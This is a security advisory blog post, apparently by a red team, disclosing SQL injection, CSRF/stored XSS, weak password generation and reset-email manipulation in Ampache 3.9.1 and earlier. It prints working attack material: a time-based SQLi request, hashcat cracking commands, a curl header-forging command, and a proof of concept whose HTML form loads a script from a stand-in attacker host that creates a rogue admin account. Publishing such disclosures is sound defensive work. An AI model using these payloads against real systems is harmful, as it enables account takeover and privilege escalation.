Typewritter
Return to blog

Vulnerabilities in Ampache (<=3.9.1)

During a Red Team operation, multiple vulnerabilities where discovered in Ampache, an open source web platform for audio/video streaming. CVE codes have been assigned for two of them: CVE-2019-12385 (SQL injection) and CVE-2019-12386 (stored XSS).

SQL injection (CVE-2019-12385)

Communication with the database is made via the Dba class (ORM), which relays on PHP PDO to perform queries. Some of them are performed properly using prepared statements, but in other cases the Dba::escape method is used.

lib/class/dba.class.php:

134:    public static function escape($var)
135:    {
136:        $dbh = self::dbh();
137:        if (!$dbh) {
138:            debug_event('Dba', 'Wrong dbh.', 1);
139:            exit;
140:        }
141:        $var = $dbh->quote($var);
142:        // This is slightly less ugly than it was, but still ugly
143:        return substr($var, 1, -1);
144:    }

This function calls PDO::quote, which filters special characters and quotes the string. After that, outer single quotes are stripped. The latter means that if this value is not quoted within the query, an attacker could inject data in SQL context.

A vulnerable case supporting this theory is detailed below, although there could be more.

lib/class/search.class.php:

1461:   case 'last_play':
1462:          $userid               = $GLOBALS['user']->id;
1463:          $where[]              = "`object_count`.`date` IS NOT NULL AND `object_count`.`date` $sql_match_operator (UNIX_TIMESTAMP() - ($input * 86400))";
1464:          $join['object_count'] = true;
1465:          break;

The $input variable is basically Dba::escape($USER_INPUT), so a malicious user could provide SQL commands (avoiding quotes and other special chars).

The next request confirms the vulnerability, causing a 5-seconds delay:

POST /search.php?type=song
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9,en;q=0.8,pt;q=0.7
Cookie: ampache=[session_id]
Connection: close
        
limit=0&operator=or&rule_1=last_play&rule_1_operator=1&rule_1_input=1))union+select+1+from+dual+where+sleep(5)--&action=search

The searching engine is affected by this vulnerability, so any user able to perform searches (even guest users) could become administrator by stealing his session cookies (stored in the database). In the next section a way of privilege escalation when no active admin sessions exist will be exposed.

Password generation

Regarding automatic password generation, we can remark two things:

No use of salt

lib/class/user.class.php:

990:    public function update_password($new_password)
991:    {
992:        $new_password = hash('sha256', $new_password);
993:        $new_password = Dba::escape($new_password);
994:        $sql          = "UPDATE `user` SET `password` = ? WHERE `id` = ?";
995:        $db_results   = Dba::write($sql, array($new_password, $this->id));
996:        // Clear this (temp fix)
997:        if ($db_results) {
998:            unset($_SESSION['userdata']['password']);
990:        }
1000:   }

Passwords are directly hashed using sha256 without salting.

Weak algorithm

The following function is used to generate pseudorandom passwords:

lib/general.lib.php:

47:    function generate_password($length)
48:    {
49:        $vowels     = 'aAeEuUyY12345';
50:        $consonants = 'bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789';
51:        $password   = '';
52:        $alt = time() % 2;
53:        for ($i = 0; $i < $length; $i++) {
54:            if ($alt == 1) {
55:                $password .= $consonants[(rand(0, strlen($consonants) - 1))];
56:                $alt = 0;
57:            } else {
58:                $password .= $vowels[(rand(0, strlen($vowels) - 1))];
59:                $alt = 1;
60:            }
61:        }
62:        return $password;
63:    }

It can be seen how the function generates passwords using two short charsets (13 “vowels” & 36 “consonants”), choosing every character alternatively between them. Even worse: knowing the generation timestamp, we can infer the order of charsets used (due to the use of the time function).

Also, as seen in lostpassword.php, new passwords generated via this method are 6 chars long only:

lostpassword.php

54:    if ($client && $client->email == $email) {
55:        $newpassword = generate_password(6);
56:        $client->update_password($newpassword);

This issues can be combined with the SQL injection to compromise an admin account in a few seconds:

  1. Reset admin password
  2. Using the SQL Injection: dump the hash of the password generated in the previous step
  3. Crack it

It’s possible to crack it in a few seconds, using one of the following hashcat commands (depending on the charsets’ order):

.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -1 aAeEuUyY12345 -2 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O

or

.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -2 aAeEuUyY12345 -1 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O

CSRF + stored XSS (CVE-2019-12386)

In the feature of adding instances of localplay.php, two vulnerabilities appear: a CSRF (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) and a stored XSS (https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)). These vulnerabilities can be combined to automatically force an admin to create a privileged account in the platform with a known password.

Cross-Site Scripting

When rendering the “name” field of the instance, a HTML special characters are not properly escaped, thus after introducing HTML/JavaScript code, we can see how it’s loaded and executed in the browser. This way, it’s possible to force a user to perform specific actions within his session.

The following payload is enough to confirm the vulnerability: <script>alert(1)</script>

Cross-Site Request Forgery

On the other hand, the same form doesn’t provide any protection against CSRF, so a new scenary is presented where an attacker could combine both vulnerabilities and force an admin to exploit the XSS against himself.

PoC

A malicious user would just have to cheat an admin to visit a link hosting the following code:

index.html

<html>
  <body>
    <form action="https://[AMPACHE]/localplay.php?action=add_instance" method="POST">
      <input type="hidden" name="name" value="<script src=https://[ATTACKER]/pwn.js></script>" />
      <input type="hidden" name="host" value="foobar" />
      <input type="hidden" name="port" value="6666" />
      <input type="hidden" name="host" value="foobar" />
      <input type="hidden" name="port" value="9999" />
      <input type="hidden" name="password" value="foobar" />
      <input type="submit" value="Pwn!" />  <!-- Replace this with autosubmit stuff -->
    </form>
  </body>

pwn.js

function pwned() {
    var ifr = document.getElementById("pwn");
    var target = ifr.contentDocument.getElementsByTagName("form")[2];
    target.username.value = "NewAdmin";
    target.email.value = "[email protected]";
    target.password_1.value = "admin";
    target.password_2.value = "admin";
    target.access.value = "100";
    target.submit();
}
var iframe = document.createElement('iframe');
iframe.setAttribute("src", "https://[AMPACHE]/admin/users.php?action=show_add_user");
iframe.setAttribute("id", "pwn");
document.body.appendChild(iframe);
setTimeout(pwned, 3000);

Once an admin visits the page (index.html), a form would be automatically sent thus creating an instance whose name contains the XSS payload. After the form is submitted, the XSS would trigger and load the JavaScript code in pwn.js. The code in this file is responsible of creating a new admin account, controlled by the attacker.

Reset mail manipulation

Another problem found is located in the reset password feature itself.

lostpassword.php

34:     $email = scrub_in($_POST['email']);
35:     $current_ip =(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) ? $_SERVER['HTTP_X_FORWARDED_FOR'] :$_SERVER['REMOTE_ADDR'];
36:     $result     = send_newpassword($email, $current_ip);
//...
$message  = sprintf(T_("A user from %s has requested a password reset for '%s'."), $current_ip, $client->username);

The contents of the X-Forwarded-For header is directly included in the email sent, so this could be perfect for phishing:

curl https://[AMPACHE]/lostpassword.php --data "[email protected]&action=send" --header "X-Forwarded-For: WE CAN MANIPULATE THIS TO LURE YOU"

The user would receive the following email:

A user from WE CAN MANIPULATE THIS TO LURE YOU has requested a password reset for 'XXXX'.
The password has been set to:: jEX3WE

Conclusion

One of the most standout characteristics of Tarlogic’s Red Team is its dedication to analyze the software used by its clients in order to find vulnerabilities that can be exploited in a real life scenario. These activities tend to result in the discovery of 0-days. Some of them that are found to be more interesting are shown in this blog (like the present post or as it was done with OCS Inventory and the RCE of Cobian Backup) and others are only reported to the pertinent authorities (as it was done with the Switch UbiQuoss VP5208A).

Always consider the possibility that an attacker uses unpublished vulnerabilities to compromise a machine. At this point, the measures implemented during the hardening phase should make lateral movement and escalation of privileges more difficult or even impossible. Likewise, the implementation of WAFs in this type of critical internal applications can prevent or make much more complicated to exploit this kind of web application vulnerabilities.

Greetings

Pablo Martinez (@xassiz), Juan Manuel Fernandez (@TheXC3LL) & Jaume Llopis (@jks___)

Leave a comment